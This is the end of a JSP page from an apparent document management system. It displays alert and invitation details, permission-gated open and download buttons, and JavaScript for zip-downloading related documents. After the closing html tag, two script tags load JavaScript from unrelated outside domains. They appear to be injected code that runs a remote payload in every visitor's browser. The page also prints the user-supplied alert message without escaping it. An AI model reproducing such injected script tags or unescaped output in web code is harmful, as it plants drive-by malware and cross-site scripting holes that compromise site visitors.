        <% if (actionTypeAlert.indexOf(UpdateAlert.DELETE_ACTION) >=0) {%>
          <bean:message key="dms.label.notification_delete"/>;&nbsp;
        <%}%>
        <% if (actionTypeAlert.indexOf(UpdateAlert.MODIFY_RELATED_DOC) >=0) {%>
          <bean:message key="dms.label.document_relationship"/>;&nbsp;
        <%}%>
    <%}else{%>
        <%=GlobalConstant.EMPTY_FIELD%>
    <%}%>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key="dms.label.notification_type"/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
    <% String alertNotificationWays = maintDmsDocumentForm.getNotifyWayA();
       if (!Utility.isEmpty(alertNotificationWays)){%>

        <% if (alertNotificationWays.indexOf(UpdateAlert.EMAIL_NOTIFICATION) >=0) {%>
          <bean:message key="dms.label.notification_email"/>;&nbsp;
        <%}%>
        <% if (alertNotificationWays.indexOf(UpdateAlert.SYSTEM_NOTIFICATION) >=0) {%>
        <bean:message key="dms.label.notification_system"/>;&nbsp;
        <%}%>
    <%}else{%>
        <%=GlobalConstant.EMPTY_FIELD%>
    <%}%>
    </td>
  </tr>
  <tr>
    <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>
</table>
<!-- Invitation info display -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='<%="dms.label.update_alert_I"%>'/></td>
  </tr>
</table>
<table cellpadding="0" cellspacing="2" border="0" width="100%">
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key="dms.label.notification_due_date"/>:&nbsp;</td>
    <td colspan="3" class="formFieldSmall">
    <%=maintDmsDocumentForm.getDueDate()==null? "-":maintDmsDocumentForm.getDueDate()%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='dms.label.notification_type'/>:&nbsp;</td>
    <td class="formFieldSmall" colspan="3">
    <% String inviteNotificationWays = maintDmsDocumentForm.getNotifyWayI();
       if (!Utility.isEmpty(inviteNotificationWays)){%>
        <% if (inviteNotificationWays.indexOf(UpdateAlert.EMAIL_NOTIFICATION) >=0) {%>
          <bean:message key="dms.label.notification_email"/>;&nbsp;
        <%}%>
        <% if (inviteNotificationWays.indexOf(UpdateAlert.SYSTEM_NOTIFICATION) >=0) {%>
        <bean:message key="dms.label.notification_system"/>&nbsp;
        <%}%>
    <%}else{%>
        <%=GlobalConstant.EMPTY_FIELD%>
    <%}%>
          </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key="dms.label.notification_message"/>:&nbsp;</td>
    <td colspan="3" class="formFieldSmall" width="75%">
    <% String message = maintDmsDocumentForm.getMessage();
       message = TextUtility.replaceString(message, "\n", "<br>&nbsp;");
       if (!Utility.isEmpty(message)){%>
          <%=message%>
       <%}else{%>
            <%=GlobalConstant.EMPTY_FIELD%>
       <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%" valign="top"><bean:message key="dms.label.notification_recipient"/>:&nbsp;</td>
          <td class="formFieldSmall" colspan="3"><table width='100%' cellpadding='0' cellspacing='0' border='0'>
      <tr>
        <td width="193" class="formFieldSmall"><bean:message key="dms.label.notification_recipient_user"/></td>
        <td width="257" class="formFieldSmall"><bean:message key="dms.label.notification_recipient_group"/></td>
        <td width="186" class="formFieldSmall"><bean:message key="dms.label.notification_recipient_role"/></td>
      </tr>
      <tr>
        <td width="200" class="formFieldSmall">
          <html:checkboxOptions dbListName='userRecordList' name='userList' nameValue='<%=maintDmsDocumentForm.getUserList()%>' hasSelect='false' width='200' disabled="true"/>
        </td>
        <td width="200" class="formFieldSmall">
          <html:checkboxOptions dbListName='userPublicGroupList' name='groupList' nameValue='<%=maintDmsDocumentForm.getGroupList()%>' hasSelect='false' width='200' disabled="true"/>
        </td>
        <td width="200" class="formFieldSmall">
          <html:checkboxOptions dbListName='userRoleList' name='roleList' nameValue='<%=maintDmsDocumentForm.getRoleList()%>' hasSelect='false' width='200' disabled="true"/>
        </td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>
</table>



<table width="100%" border="0" cellspacing="0">
        <tr>
    <td align="center">
    <%if(!sCurFunctionCode.equals(SystemFunctionConstant.DMS_EMPTY_FILE)){%>
      <% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentForm.getItemStatus()))){%>
      <html:standardButton label="dms.label.open" disable="true"/>
      <html:standardButton label="dms.label.download" disable="true"/>

      <%}else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && (GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus()) || DmsVersion.ARCHIVED_STATUS.equals(targetDoc.getItemStatus()))){%>
      <html:standardButton label="dms.label.open" disable="true"/>
      <html:standardButton label="dms.label.download" disable="true"/>
      <%}else{%>
        <%if ((!Utility.isEmpty(permission) && permission.indexOf("R")>=0) || (inviteToRead && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())) || (inviteToRead && DmsRoot.PUBLIC_ROOT.equals(dmsRoot.getRootType()))){%>
          <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && ( !DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType()))){%>
          <html:standardButton label="dms.label.open" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID="+maintDmsDocumentForm.getID()+"&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&ext=."+sExt%>' target="_blank"/>
          <%if(showDownload){%>
            <html:standardButton label="dms.label.download" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID="+maintDmsDocumentForm.getID()+"&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&isDownload=Y&ext=."+sExt%>'/>
            <%}%>
        <%}%>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
               <%if(showDownload){%>
          <html:standardButton label="dms.label.download_all" link='<%=contextPath + "/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode=" + sCurFunctionCode + "&targetID=" + maintDmsDocumentForm.getID() + "&version=" + sVersion + "&isDownload=Y&ext=." + sExt%>'/>
                <%}%>
          <%}%>
        <%}else{%>
        <html:standardButton label="dms.label.open" disable="true"/>
        <html:standardButton label="dms.label.download" disable="true"/>
        <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
          <html:standardButton label="dms.label.download_all" disable="true"/>
        <%}%>
      <%}%>
     <%}%>
    <%}%>
    <%if (TextUtility.parseBoolean(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_SHOW_DOCUMENT_SUMMARY_ON_POPUP))) {%>
      <%if (!Utility.isEmpty(updateAlertSystemLogID)){
          if(("true".equals(updateReadOperation))&&(!"true".equals(fromEmail))){%>
          <html:standardButton label="common.label.close" onClick="javascript:closeAfterUpdateOperation();"/>
          <%}else{%>
           <html:standardButton label="common.label.close" onClick="return closeWindow()"/>
          <%}%>
        <%}else{%>
        <html:standardButton label="common.label.close" onClick="return closeWindow()"/>
        <%}%>
    <%}else{%>

    <%}%>
    </td>
  </tr>
</table>
<script language="Javascript">
<!--
function closeAfterUpdateOperation(){
 try{
   if(window.opener!=null){
     window.opener.location.reload();
   }
 }catch(e){}
 window.close();
}

//handle related download
  function DocRelationDownload(frm){
   var docID="";
   var tmpdocRelationList=<%=DocRelationList.size()%>;
   var hasChecked = false;
   var blnNotAllowDownLoadID=false;
   for (var i = 0; i < parseInt(tmpdocRelationList); i++) {
      if (eval("document.maintDmsDocumentForm.basicSelectedID_"+i+".checked") == true) {
        hasChecked = true;
        break;
       }
    }
  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
    }

    for(var d=0;d < parseInt(tmpdocRelationList);d++){
     if(frm.elements['basicSelectedID_' + d].checked==true && frm.elements['basicSelectedID_' + d].value!=''){
    if(parseInt(notAllowRelatedDownLoadIDAry.length)>0){
       for(var k=0;k<parseInt(parseInt(notAllowRelatedDownLoadIDAry.length));k++){
        if(parseInt(eval("document.maintDmsDocumentForm.basicSelectedID_"+d+".value"))==notAllowRelatedDownLoadIDAry[k]){
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
   if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
     return(true);
   }
       if(parseInt(relatedDocIDArray.length)>0){
         for(var k=0;k<parseInt(parseInt(relatedDocIDArray.length));k++){
           if(parseInt(eval("document.maintDmsDocumentForm.basicSelectedID_"+d+".value"))==relatedDocIDArray[k]){
           docID=parseInt(eval("document.maintDmsDocumentForm.basicSelectedID_"+d+".value")) +","+docID;
             break;
           }
         }
       }
      }
    }
  if(!blnNotAllowDownLoadID){
    window.location.href = "<%= request.getContextPath() %>/jsp/dms/DownloadRelatedDocuments.jsp?targetID="+docID +"&version=TOP&isDownload=Y";
      return(false);
  }
  }
  function IndirectRelationDocumentDownload(frm){
   var docID="";
   var tmpdocRelationList=<%=IndirectRelationDocumentList.size()%>;
   var hasChecked = false;
   var blnNotAllowDownLoadID=false;
   for (var i = 0; i < parseInt(tmpdocRelationList) ; i++) {
      if (eval("document.maintDmsDocumentForm.basicSelectedID"+i+".checked") == true) {
        hasChecked = true;
        break;
       }
    }
  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
    }

    for(var d=0;d < parseInt(tmpdocRelationList) ;d++){
     if(frm.elements['basicSelectedID' + d].checked==true && frm.elements['basicSelectedID' + d].value!=''){
    if(parseInt(notAllowIndirectRelationDownLoadIDAry.length)>0){
       for(var k=0;k<parseInt(parseInt(notAllowIndirectRelationDownLoadIDAry.length));k++){
        if(parseInt(eval("document.maintDmsDocumentForm.basicSelectedID"+d+".value"))==notAllowIndirectRelationDownLoadIDAry[k]){
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
   if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
     return(true);
   }
       if(parseInt(indirectRelationDocIDArray.length)>0){
         for(var k=0;k<parseInt(parseInt(indirectRelationDocIDArray.length));k++){
           if(parseInt(eval("document.maintDmsDocumentForm.basicSelectedID"+d+".value"))==indirectRelationDocIDArray[k]){
           docID=parseInt(eval("document.maintDmsDocumentForm.basicSelectedID"+d+".value")) +","+docID;
             break;
           }
         }
       }
      }
    }
  if(!blnNotAllowDownLoadID){
  //joan.xiong update code for bug EIP-1099 by 2006/12/06
  var idArray = docID.split(",");
  var url = "<%=request.getContextPath()%>/dms/FileZipDownloadServlet?zipFileName=RelatedDocuments";
  for (var i=0; i<idArray.length; i++) {
    if("" !=idArray[i]){
      url += "&selectID="+idArray[i];
    }
  }
    window.location.href=url+"&returnURL="+document.URL+"&singleDocDownload=true&date="+new Date();
  //window.location.href = "<%= request.getContextPath() %>/jsp/dms/DownloadRelatedDocuments.jsp?targetID="+docID+"&version=TOP&isDownload=Y";
  //joan.xiong update code end
      return(false);
  }
 }
 function clickAll(frm){
  var tmpdocRelationList=<%=DocRelationList.size()%>;
  var tmpdocIndirectRelationList=<%=IndirectRelationDocumentList.size()%>;
  if(frm.allCheck.checked){
    if(tmpdocRelationList>0){
      for(var i=0;i< parseInt(tmpdocRelationList) ;i++){
      if(frm.elements['basicSelectedID_' + i].value!=''){
        frm.elements['basicSelectedID_' + i].checked=true;
      }
    }
    }else if(tmpdocIndirectRelationList>0){
       for(var i=0;i< parseInt(tmpdocIndirectRelationList) ;i++){
       if(frm.elements['basicSelectedID' + i].value!=''){
        frm.elements['basicSelectedID' + i].checked=true;
       }
    }
  }
  }else{
    if(tmpdocRelationList>0){
      for(var i=0;i< parseInt(tmpdocRelationList) ;i++){
      if(frm.elements['basicSelectedID_' + i].value!=''){
        frm.elements['basicSelectedID_' + i].checked=false;
      }
    }
    }else if(tmpdocIndirectRelationList>0){
       for(var i=0;i< parseInt(tmpdocIndirectRelationList) ;i++){
       if(frm.elements['basicSelectedID' + i].value!=''){
        frm.elements['basicSelectedID' + i].checked=false;
       }
    }
  }
  }
}
-->
</script>
<%}else{%>
<center>
  <html:standardButton label="common.label.close" onClick="return closeWindow()"/>
</center>
<%}%>
</td></tr></table>
</html:form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>